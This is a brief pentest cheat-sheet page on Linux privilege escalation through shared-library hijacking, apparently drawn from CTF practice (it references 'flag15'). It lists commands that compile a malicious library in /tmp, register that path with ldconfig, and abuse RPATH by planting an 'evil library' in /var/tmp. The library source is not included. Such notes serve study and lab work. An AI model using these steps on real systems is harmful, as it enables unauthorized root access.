githubEdit

Shared Library

Steps

ldconfig

1) Identify shared libraries with ldd

ldd /opt/binary

2) Create a library in /tmp and activate the path

gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.c
echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so
/opt/binary

RPATH

1)

readelf -d flag15 | egrep "NEEDED|RPATH"

2)

ldd ./flag15 

3) By copying the lib into /var/tmp/flag15/ it will be used by the program in this place as specified in the RPATH variable.

4) Then create an evil library in /var/tmp with

exploit.c content

Last updated